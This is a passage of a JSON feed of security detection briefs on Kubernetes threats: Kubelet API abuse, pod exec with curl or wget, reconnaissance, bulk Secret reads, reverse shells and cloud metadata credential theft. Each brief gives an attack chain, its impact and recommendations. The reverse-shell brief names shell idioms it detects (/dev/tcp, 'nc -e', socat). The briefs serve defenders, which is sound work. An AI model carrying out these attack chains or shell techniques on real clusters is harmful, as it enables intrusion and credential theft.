\u003ccode\u003ewget\u003c/code\u003e, from within the compromised container, targeting the Kubelet API on port 10250 or 10255.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e command is executed from a temporary directory like \u003ccode\u003e/tmp\u003c/code\u003e or \u003ccode\u003e/dev/shm\u003c/code\u003e to avoid detection.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to enumerate running pods and services by querying the \u003ccode\u003e/pods\u003c/code\u003e or \u003ccode\u003e/runningpods\u003c/code\u003e endpoints of the Kubelet API.\u003c/li\u003e\n\u003cli\u003eIf successful, the attacker identifies a target pod within the cluster based on the enumerated information.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the Kubelet API to execute commands within the target pod, potentially escalating privileges or accessing sensitive data.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to move laterally to other nodes or containers within the Kubernetes cluster, repeating the reconnaissance and exploitation steps.\u003c/li\u003e\n\u003cli\u003eThe ultimate goal is to gain control over the entire Kubernetes cluster, enabling data exfiltration, resource hijacking, or disruption of services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of the Kubelet API can lead to a complete compromise of the Kubernetes cluster. Attackers can gain unauthorized access to sensitive data, escalate privileges, and disrupt critical services. While the number of victims may vary depending on the organization\u0026rsquo;s security posture, a successful attack could impact all applications and data managed by the cluster. Organizations in any sector utilizing Kubernetes are potentially at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable syscall auditing and ensure that \u003ccode\u003eevent.category:network\u003c/code\u003e events are generated for network connections, as outlined in the rule\u0026rsquo;s setup guide.\u003c/li\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM and tune it based on your environment to reduce false positives.\u003c/li\u003e\n\u003cli\u003eRestrict pod-to-node access to port 10250 using network policies or security groups to limit the attack surface, as noted in the rule\u0026rsquo;s documentation.\u003c/li\u003e\n\u003cli\u003eImplement Kubernetes API audit logging to detect unauthorized access attempts and credential access, correlating with process argument telemetry as mentioned in the triage steps.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:30:00Z","date_published":"2024-01-03T14:30:00Z","id":"/briefs/2024-01-kubelet-api-connection/","summary":"The rule detects network connection attempts to the Kubernetes Kubelet API ports 10250 and 10255 on internal IP ranges from Linux hosts, indicating potential lateral movement within container and cluster environments.","title":"Kubelet API Connection Attempt to Internal IP","url":"https://feed.craftedsignal.io/briefs/2024-01-kubelet-api-connection/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","execution","command and control","threat detection"],"_cs_type":"advisory","_cs_vendors":["Elastic"],"content_html":"\u003cp\u003eThis detection rule identifies suspicious activity within Kubernetes environments where attackers leverage \u003ccode\u003ekubectl exec\u003c/code\u003e or similar API calls to execute commands within pods. Specifically, it focuses on instances where these commands involve using \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e to retrieve content over HTTPS. Attackers may use this technique to download malicious scripts, tools, or exfiltrate sensitive data from compromised pods. This activity is flagged based on decoded request URIs from Kubernetes audit logs, reconstructed command strings, and filtering of benign traffic related to cluster health checks and OIDC/JWKS endpoints. The rule aims to detect anomalous behavior that deviates from typical pod execution patterns, helping defenders identify potential intrusions or misuse of pod execution privileges. The rule was created on 2026/04/23 and last updated on 2026/04/23 according to the source.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to the Kubernetes cluster, possibly through compromised credentials or a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a target pod within the cluster to execute commands within.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl exec\u003c/code\u003e or a similar API call to initiate a shell session within the target pod.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a command using \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e to download a malicious script, tool, or exfiltrate data over HTTPS. The URL is often encoded in the requestURI.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server records the exec call and its parameters in the audit logs.\u003c/li\u003e\n\u003cli\u003eThe detection rule decodes the requestURI, extracts the command string, and identifies the use of \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e with an HTTPS URL.\u003c/li\u003e\n\u003cli\u003eThe rule filters out known benign URLs associated with cluster health checks or OIDC/JWKS endpoints.\u003c/li\u003e\n\u003cli\u003eIf the command is identified as malicious, an alert is triggered, indicating a potential compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to the deployment of malicious tools within the Kubernetes environment, potentially enabling lateral movement, data theft, or denial-of-service attacks.  Compromised pods could expose sensitive data or be used as a launchpad for further attacks on the cluster or other systems. The scope of impact depends on the permissions granted to the compromised pod and the attacker\u0026rsquo;s objectives.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes Pod Exec with Curl or Wget to HTTPS\u0026rdquo; to your SIEM and tune for your environment.\u003c/li\u003e\n\u003cli\u003eReview Kubernetes RoleBindings for \u003ccode\u003epods/exec\u003c/code\u003e to ensure only required principals retain access on sensitive namespaces.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule by reviewing the decoded URI and reconstructed command in the alert details.\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict egress traffic from pods, limiting the potential for data exfiltration via HTTPS.\u003c/li\u003e\n\u003cli\u003eRegularly audit Kubernetes audit logs for suspicious activity related to pod execution and API calls.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:27:00Z","date_published":"2024-01-03T14:27:00Z","id":"/briefs/2024-01-kubernetes-pod-exec/","summary":"This rule detects Kubernetes pod exec API calls using curl or wget to fetch HTTPS URLs, potentially indicating malicious activity such as staging tools or exfiltrating data.","title":"Kubernetes Pod Exec with Curl or Wget to HTTPS","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","discovery","reconnaissance"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eAfter gaining initial access to a Kubernetes cluster, adversaries often conduct reconnaissance to understand the environment before further actions like exfiltration or privilege escalation. This involves mapping the cluster\u0026rsquo;s structure, identifying workloads, and understanding role-based access control (RBAC) configurations. This reconnaissance is achieved by rapidly querying various API resources, including namespaces, pods, roles, ClusterRoles, ConfigMaps, and ServiceAccounts. The activity is characterized by a burst of \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e requests across multiple resource types within a short timeframe, which is atypical for normal cluster operations and may indicate malicious probing or permission reconnaissance. This detection focuses on identifying such cross-resource bursts from a single client to distinguish reconnaissance activities from routine automation.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to the Kubernetes cluster using compromised credentials or by exploiting a vulnerability. (T1190, T1566)\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Kubernetes API server using the compromised credentials or a valid service account token.\u003c/li\u003e\n\u003cli\u003eThe attacker begins enumerating namespaces to understand the logical divisions within the cluster using \u003ccode\u003ekubectl get namespaces\u003c/code\u003e or equivalent API calls. (T1068)\u003c/li\u003e\n\u003cli\u003eThe attacker queries pods within the discovered namespaces to identify running workloads and potential targets. (T1068)\u003c/li\u003e\n\u003cli\u003eThe attacker lists roles and cluster roles to understand the existing RBAC configurations and identify potential privilege escalation opportunities. (T1069)\u003c/li\u003e\n\u003cli\u003eThe attacker retrieves service accounts to identify applications and their associated permissions, potentially discovering more attack vectors.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the collected information to identify vulnerable services, misconfigured permissions, or sensitive data.\u003c/li\u003e\n\u003cli\u003eBased on the reconnaissance, the attacker proceeds with lateral movement, privilege escalation, data exfiltration, or other malicious objectives.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful reconnaissance allows attackers to gain a comprehensive understanding of the Kubernetes environment, facilitating further malicious activities such as lateral movement, privilege escalation, and data exfiltration. This can lead to the compromise of sensitive data, disruption of services, and unauthorized access to critical resources. The impact is magnified in clusters with weak RBAC policies or exposed sensitive information.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes Multi-Resource Discovery\u0026rdquo; to your SIEM and tune for your environment to detect reconnaissance activities.\u003c/li\u003e\n\u003cli\u003eInvestigate alerts generated by the Sigma rule by pivoting on \u003ccode\u003euser.name\u003c/code\u003e, \u003ccode\u003esource.ip\u003c/code\u003e, and \u003ccode\u003euser_agent.original\u003c/code\u003e to determine the sequence of API calls.\u003c/li\u003e\n\u003cli\u003eCorrelate the identified activity with RBAC configurations to identify potential violations of the principle of least privilege as described in the rule\u0026rsquo;s Triage and Analysis section.\u003c/li\u003e\n\u003cli\u003eBaseline automation by allowlisting known service accounts or source networks that legitimately span multiple resource types in a short window, as described in the rule\u0026rsquo;s False Positive Analysis section.\u003c/li\u003e\n\u003cli\u003eReview and tighten RBAC configurations to minimize the impact of compromised credentials as described in the Response and Remediation section.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:22:00Z","date_published":"2024-01-03T14:22:00Z","id":"/briefs/2024-01-kubernetes-multi-resource-discovery/","summary":"Adversaries may perform reconnaissance in a Kubernetes environment by rapidly querying multiple resource types to map the environment and identify potential privilege escalation paths.","title":"Kubernetes Multi-Resource Discovery Reconnaissance","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-multi-resource-discovery/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Defend for Containers"],"_cs_severities":["high"],"_cs_tags":["container","kubelet","kubernetes","lateral-movement","execution"],"_cs_type":"advisory","_cs_vendors":["Elastic"],"content_html":"\u003cp\u003eThis rule detects potential direct Kubelet access via process arguments within Linux containers. Attackers may target the Kubelet API to gain unauthorized access to the Kubernetes API server or other sensitive resources within the cluster. Observed requests are often used for reconnaissance, such as enumerating pods and cluster resources, or for executing commands directly on the API server. This activity indicates a potential attempt to move laterally within the Kubernetes environment. The activity is detected by monitoring process arguments for HTTP requests directed at the Kubelet API on ports 10250 or 10255. The detection leverages Elastic Defend for Containers, introduced in version 9.3.0.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a container within the Kubernetes cluster, potentially through exploiting a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker opens an interactive shell within the compromised container.\u003c/li\u003e\n\u003cli\u003eUsing command-line tools such as \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e, the attacker crafts an HTTP request targeting the Kubelet API, typically on port 10250 or 10255.\u003c/li\u003e\n\u003cli\u003eThe HTTP request is embedded within the process arguments, including specific Kubelet endpoints such as \u003ccode\u003e/pods\u003c/code\u003e, \u003ccode\u003e/exec\u003c/code\u003e, \u003ccode\u003e/run\u003c/code\u003e, or \u003ccode\u003e/logs\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to enumerate pods and other cluster resources by querying the \u003ccode\u003e/pods\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to execute commands within containers by leveraging the \u003ccode\u003e/exec\u003c/code\u003e or \u003ccode\u003e/run\u003c/code\u003e endpoints.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to retrieve container logs using the \u003ccode\u003e/logs\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eSuccessful exploitation allows the attacker to move laterally within the Kubernetes cluster, potentially gaining access to sensitive data or control over other resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of direct Kubelet access can lead to significant compromise within a Kubernetes cluster. Attackers can enumerate sensitive information, execute arbitrary commands within containers, and move laterally to other parts of the cluster. This can result in data exfiltration, denial of service, or complete cluster takeover. Due to the high level of access granted by Kubelet, a successful attack allows the attacker to take complete control over the target node.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rules to your SIEM and tune them for your environment. Enable Elastic Defend for Containers with a minimum version of 9.3.0 to generate the necessary logs for these detections.\u003c/li\u003e\n\u003cli\u003eReview network policies to restrict pod access to Kubelet ports (10250, 10255) except from approved node-local agents (references: \u003ca href=\"https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster)\"\u003ehttps://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster)\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eHarden Kubelet authentication and authorization by disabling anonymous access and requiring webhook authorization (references: \u003ca href=\"https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/)\"\u003ehttps://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/)\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eEnforce pod security policies to restrict privileged pods and host networking, reducing the attack surface for node API access.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-kubelet-access/","summary":"Detection of potential direct Kubelet access via process arguments in Linux containers, which could lead to enumeration, execution, or lateral movement within the Kubernetes cluster.","title":"Potential Direct Kubelet Access via Process Arguments","url":"https://feed.craftedsignal.io/briefs/2024-01-kubelet-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis rule identifies suspicious access patterns to Kubernetes Secrets. Attackers may attempt to retrieve secrets containing sensitive information such as credentials, API keys, and other confidential data. This detection focuses on identifying access attempts originating from clients with non-standard user agents, such as scripting runtimes (Python, Perl, PHP), basic HTTP tools (curl, wget), or those associated with penetration testing distributions (Kali Linux). Legitimate access typically involves stable, purpose-built user agents. This detection helps uncover potential credential access attempts that bypass standard access controls. The rule specifically triggers on \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e actions against Kubernetes secrets, coupled with a suspicious \u003ccode\u003euser_agent.original\u003c/code\u003e and a populated \u003ccode\u003esource.ip\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a compromised host or pod within the Kubernetes cluster or an external system with network access to the Kubernetes API server.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts HTTP requests to the Kubernetes API server to enumerate available secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker uses tooling such as \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, or custom scripts with user agents like \u003ccode\u003epython-requests\u003c/code\u003e or \u003ccode\u003eGo-http-client\u003c/code\u003e to interact with the API.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a \u003ccode\u003eGET\u003c/code\u003e or \u003ccode\u003eLIST\u003c/code\u003e request to the \u003ccode\u003e/api/v1/namespaces/{namespace}/secrets/{name}\u003c/code\u003e endpoint to retrieve specific secrets or list all secrets in a namespace.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server authenticates and authorizes the request based on the attacker\u0026rsquo;s assigned RBAC roles, potentially using impersonation.\u003c/li\u003e\n\u003cli\u003eIf authorized, the API server returns the secret data in the response.\u003c/li\u003e\n\u003cli\u003eThe attacker extracts sensitive information like passwords, tokens, or API keys from the retrieved secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to escalate privileges, move laterally within the cluster, or access external resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows attackers to steal sensitive information stored in Kubernetes secrets, leading to privilege escalation, lateral movement, and unauthorized access to critical systems and data. Compromised credentials can be used to access external cloud resources or internal services. The impact depends on the sensitivity of the secrets, but can include data breaches, service disruptions, and significant financial loss.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secret get or list with Suspicious User Agent\u003c/code\u003e to your SIEM to detect suspicious access to Kubernetes secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule, focusing on the user identity (\u003ccode\u003euser.name\u003c/code\u003e), targeted namespace (\u003ccode\u003ekubernetes.audit.objectRef.namespace\u003c/code\u003e), and source IP (\u003ccode\u003esource.ip\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eBaseline expected user agents for legitimate automation and add exceptions to the detection rule for known good traffic.\u003c/li\u003e\n\u003cli\u003eRotate affected secrets and credentials, revoke tokens, and tighten RBAC if unauthorized access is detected.\u003c/li\u003e\n\u003cli\u003eBlock or isolate the source host at the network edge to the API server where appropriate, based on \u003ccode\u003esource.ip\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor \u003ccode\u003ekubernetes.audit.annotations.authorization_k8s_io/decision\u003c/code\u003e to identify unauthorized attempts to access secrets.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-03-kubernetes-secret-access/","summary":"Detects read access to Kubernetes Secrets (`get`/`list`) with a user agent matching a curated set of non-standard or attacker-leaning clients, indicating potential credential access.","title":"Kubernetes Secret Access with Suspicious User Agent","url":"https://feed.craftedsignal.io/briefs/2024-01-03-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","threat-detection"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies suspicious activity within Kubernetes environments where a single client fingerprint (defined by user, source IP, and user agent) rapidly retrieves multiple distinct Secret objects via the Kubernetes API. The rule focuses on detecting potential credential access or in-cluster reconnaissance attempts. The activity may involve successful and failed GET requests, where failed requests may reveal information about RBAC boundaries or confirm the existence of targeted secrets. This activity can indicate that an attacker is attempting to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. The rule excludes common sources such as the kube-controller-manager and kube-scheduler.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a Kubernetes cluster, potentially by exploiting a vulnerability or compromising a service account.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to authenticate to the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a series of GET requests to the Kubernetes API, targeting Secret objects.\u003c/li\u003e\n\u003cli\u003eThe API server authenticates and authorizes the requests based on the attacker\u0026rsquo;s permissions and RBAC configurations.\u003c/li\u003e\n\u003cli\u003eSuccessful GET requests return the contents of the Secret objects.\u003c/li\u003e\n\u003cli\u003eFailed GET requests may reveal RBAC restrictions, namespace details, or secret existence.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the retrieved Secrets or error messages to gather sensitive information like credentials or configuration details.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the gathered information to further compromise the cluster or exfiltrate data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to the compromise of sensitive data stored within Kubernetes Secrets, such as service account tokens, registry credentials, TLS keys, and application configuration. This can result in privilege escalation, lateral movement, and data exfiltration. The rule aims to detect unauthorized access to these resources, preventing attackers from gaining access to critical infrastructure and data. If successful, the attackers could also potentially gain access to connected cloud resources via exposed credentials.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Rapid Secret GET Activity\u003c/code\u003e to your SIEM and tune for your environment.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the \u003ccode\u003eKubernetes Rapid Secret GET Activity\u003c/code\u003e Sigma rule, focusing on the \u003ccode\u003eEsql.outcome\u003c/code\u003e field to determine the success or failure of the requests.\u003c/li\u003e\n\u003cli\u003eReview RBAC configurations for the identified user accounts and source IPs to identify overly permissive access controls using \u003ccode\u003euser.name\u003c/code\u003e, \u003ccode\u003esource.ip\u003c/code\u003e, and \u003ccode\u003eEsql.namespaces\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for unusual API activity, specifically targeting GET requests to Secret objects using \u003ccode\u003ekubernetes.audit.objectRef.resource == \u0026quot;secrets\u0026quot;\u003c/code\u003e as a filter.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit the blast radius of compromised accounts, using \u003ccode\u003esource.ip\u003c/code\u003e to track connections.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-kubernetes-secret-retrieval-burst/","summary":"Detects an unusual volume of Kubernetes API get requests against multiple distinct Secret objects from the same client fingerprint, potentially indicating credential access or in-cluster reconnaissance.","title":"Kubernetes Rapid Secret GET Activity Against Multiple Objects","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-retrieval-burst/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","reverse_shell","execution","command_and_control"],"_cs_type":"advisory","_cs_vendors":["Elastic","Kubernetes"],"content_html":"\u003cp\u003eThis detection identifies attempts to establish reverse shells or bind shells within Kubernetes pods. The rule analyzes Kubernetes audit logs, specifically targeting \u003ccode\u003ekubectl exec\u003c/code\u003e commands where a user is attempting to execute commands inside a container. By decoding the URL-encoded command parameters and searching for known reverse shell patterns (e.g., usage of \u003ccode\u003e/dev/tcp\u003c/code\u003e, \u003ccode\u003enc -e\u003c/code\u003e, \u003ccode\u003esocat\u003c/code\u003e), the rule aims to detect unauthorized interactive access and command-and-control activity originating from compromised pods. This activity is often indicative of post-exploitation behavior, where an attacker seeks to gain persistent access to the Kubernetes cluster. The rule is based on the Elastic detection rule released on 2026-04-23. It is critical to investigate these alerts promptly, as successful reverse shell establishment can lead to data exfiltration, lateral movement within the cluster, and further compromise of sensitive resources.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a Kubernetes cluster, potentially through a vulnerability in an application running within a pod, or by compromising a user\u0026rsquo;s credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl exec\u003c/code\u003e to execute a command within a target pod. The command is embedded within the \u003ccode\u003erequestURI\u003c/code\u003e parameter, URL-encoded to evade basic detection.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003erequestURI\u003c/code\u003e includes the \u003ccode\u003ecommand=\u003c/code\u003e parameter, followed by a string containing shell commands designed to initiate a reverse or bind shell.\u003c/li\u003e\n\u003cli\u003eThe malicious command utilizes utilities such as \u003ccode\u003enc\u003c/code\u003e, \u003ccode\u003esocat\u003c/code\u003e, or \u003ccode\u003ebash\u003c/code\u003e with redirection to \u003ccode\u003e/dev/tcp\u003c/code\u003e to establish a network connection back to the attacker\u0026rsquo;s controlled machine.\u003c/li\u003e\n\u003cli\u003eThe reverse shell connects back to the attacker, providing interactive command execution within the compromised pod.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the reverse shell to perform reconnaissance, discover sensitive information, and potentially escalate privileges within the pod.\u003c/li\u003e\n\u003cli\u003eThe attacker might attempt to move laterally to other pods or nodes within the cluster, leveraging stolen credentials or exploiting further vulnerabilities.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves their objective, which may include data exfiltration, deployment of malicious containers, or disruption of services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful reverse shell attack within a Kubernetes cluster can have severe consequences. Attackers can gain unauthorized access to sensitive data, compromise critical applications, and disrupt services. Lateral movement within the cluster can lead to widespread compromise, potentially affecting numerous pods and nodes. The lack of proper monitoring and alerting for \u003ccode\u003ekubectl exec\u003c/code\u003e commands can allow attackers to operate undetected for extended periods, increasing the potential for significant damage. The financial impact can range from tens of thousands to millions of dollars, depending on the severity of the breach and the value of the compromised data.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the \u0026ldquo;Kubernetes Pod Exec Potential Reverse Shell\u0026rdquo; Sigma rule to your SIEM and tune for your environment to detect malicious \u003ccode\u003ekubectl exec\u003c/code\u003e commands.\u003c/li\u003e\n\u003cli\u003eEnable Kubernetes audit logging to capture \u003ccode\u003ekubectl exec\u003c/code\u003e events and ensure that the audit logs are ingested into your SIEM.\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict outbound connections from pods, limiting the ability of attackers to establish reverse shells.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for suspicious user activity, such as unusual API calls or access to sensitive resources.\u003c/li\u003e\n\u003cli\u003eRegularly review and update RBAC (Role-Based Access Control) policies to minimize the privileges assigned to users and service accounts, reducing the attack surface.\u003c/li\u003e\n\u003cli\u003eImplement the provided regex pattern in the Sigma rule within your existing detection logic, ensuring adequate coverage of reverse shell attempts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-kubernetes-pod-exec-reverse-shell/","summary":"This rule flags potential reverse shell activity via kubectl exec commands in Kubernetes pods by detecting specific shell and socket idioms within URL-decoded command payloads in Kubernetes audit logs, indicating post-exploitation interactive access and command-and-control.","title":"Kubernetes Pod Exec Potential Reverse Shell Activity Detected","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-reverse-shell/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS IMDS","GCP Compute Metadata","Azure IMDS"],"_cs_severities":["high"],"_cs_tags":["kubernetes","cloud","credential_access","execution"],"_cs_type":"advisory","_cs_vendors":["AWS","Google","Azure"],"content_html":"\u003cp\u003eThis alert focuses on detecting Kubernetes pod exec sessions that attempt to access cloud instance metadata endpoints. The activity is flagged when the decoded command line of a pod exec session contains references to cloud instance metadata services across AWS, GCP, and Azure. Attackers may exploit this to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor. This is a high-risk behavior because it can expose short-lived cloud credentials to code running inside a container, particularly concerning in multi-tenant and regulated environments. This detection classifies the cloud target and whether the command indicates credential theft or reconnaissance.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eAttacker identifies a vulnerable pod within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl exec\u003c/code\u003e to gain shell access to the pod.\u003c/li\u003e\n\u003cli\u003eInside the pod, the attacker crafts a command-line request targeting the cloud instance metadata service (IMDS) endpoint.\u003c/li\u003e\n\u003cli\u003eThe command, often using \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e, attempts to retrieve sensitive information such as IAM roles, tokens, or instance attributes.\u003c/li\u003e\n\u003cli\u003eThe IMDS responds with the requested data, which may include credentials or configuration details.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates the stolen credentials or uses them to escalate privileges within the cloud environment.\u003c/li\u003e\n\u003cli\u003eAttacker uses the harvested credentials to move laterally, compromise other cloud resources, or exfiltrate sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised credentials can lead to unauthorized access to sensitive data, lateral movement within the cloud environment, and potential data exfiltration. A successful attack could impact multiple organizations sharing the same Kubernetes cluster. The impact could include financial losses, reputational damage, and regulatory fines, depending on the type of data compromised and the extent of the breach.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Pod Exec IMDS Access\u003c/code\u003e to detect suspicious command-line activity within Kubernetes 